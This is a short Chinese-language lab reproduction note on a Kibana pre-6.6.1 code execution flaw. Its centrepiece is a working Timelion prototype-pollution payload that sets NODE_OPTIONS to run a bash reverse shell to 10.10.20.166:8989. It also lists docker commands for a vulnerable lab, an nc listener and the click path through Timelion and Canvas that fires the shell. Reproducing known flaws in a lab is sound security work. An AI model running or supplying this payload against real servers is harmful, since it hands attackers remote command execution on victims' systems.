Kibana < 6.6.1 代码执行漏洞复现笔记

Posted 2021-04-21 川云安全团队

Kibana是一个开源的分析和可视化平台，常被用于和Elasticsearch一起工作。用Kibana来搜索、查看、并和存储在Elasticsearch索引中的数据进行交互。

用户可以在大量数据之上创建条形图，折线图和散点图，或饼图和地图.

Kibana还提供了一个称为Canvas的演示工具，该工具使用户可以创建幻灯片平台，直接从Elasticsearch提取实时数据。

POC：

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/10.10.20.166/8989 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

0x01 环境准备：

1. docker pull kibana:6.5.4

2. docker pull elasticsearch:6.5.4

3. docker network create somenetwork

4. docker run -d --name kibana --net somenetwork -p 5601:5601 kibana:6.5.4

5. docker run -d --name elasticsearch --net somenetwork -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" elasticsearch:6.5.4
   

0x02 复现过程：

    1. 登陆VPS并监听端口

        nc -l 443

    2. Timelion

        访问Timelion模块，粘贴POC并点击执行按钮

        

    3. Canvas

        点击Canvas模块，触发漏洞，成功反弹shell